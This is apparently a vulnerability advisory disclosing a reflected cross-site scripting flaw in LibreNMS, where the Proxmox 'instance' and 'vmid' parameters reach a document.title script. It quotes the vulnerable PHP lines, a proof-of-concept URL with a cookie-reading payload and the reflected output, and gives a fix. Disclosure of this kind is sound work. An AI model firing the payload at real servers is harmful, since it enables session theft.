LibreNMS: Reflected XSS via Proxmox instance/vmid GET parameters injected into document.title JavaScript assignment

Summary

LegacyController.php:75 writes the page title into a document.title JS assignment using string interpolation. apps/proxmox.inc.php pushes $vars['instance'] and $vars['vmid'] (GET params, only strip_tags() applied) directly into $pagetitle. A single quote terminates the JS string, executing arbitrary script.

Details

// LegacyController.php:75
$html .= "<script>\ndocument.title = '$title';\n</script>";

// proxmox.inc.php:38,42
$pagetitle[] = $instance;     // GET ?instance=
$pagetitle[] = $vars['vmid']; // GET ?vmid=

PoC

http://target/apps?app=proxmox&instance=%27%3Balert%28document.cookie%29%3B//

Confirmed in response:
document.title = 'Apps - Proxmox - ';alert(document.cookie);// - LibreNMS';

Fix

// LegacyController.php:75
$html .= "<script>\ndocument.title = " . json_encode($title) . ";\n</script>";

Also wrap $instance and $vars['vmid'] in htmlspecialchars() in proxmox.inc.php.

Prerequisite

Any authenticated session. Victim must follow a crafted link.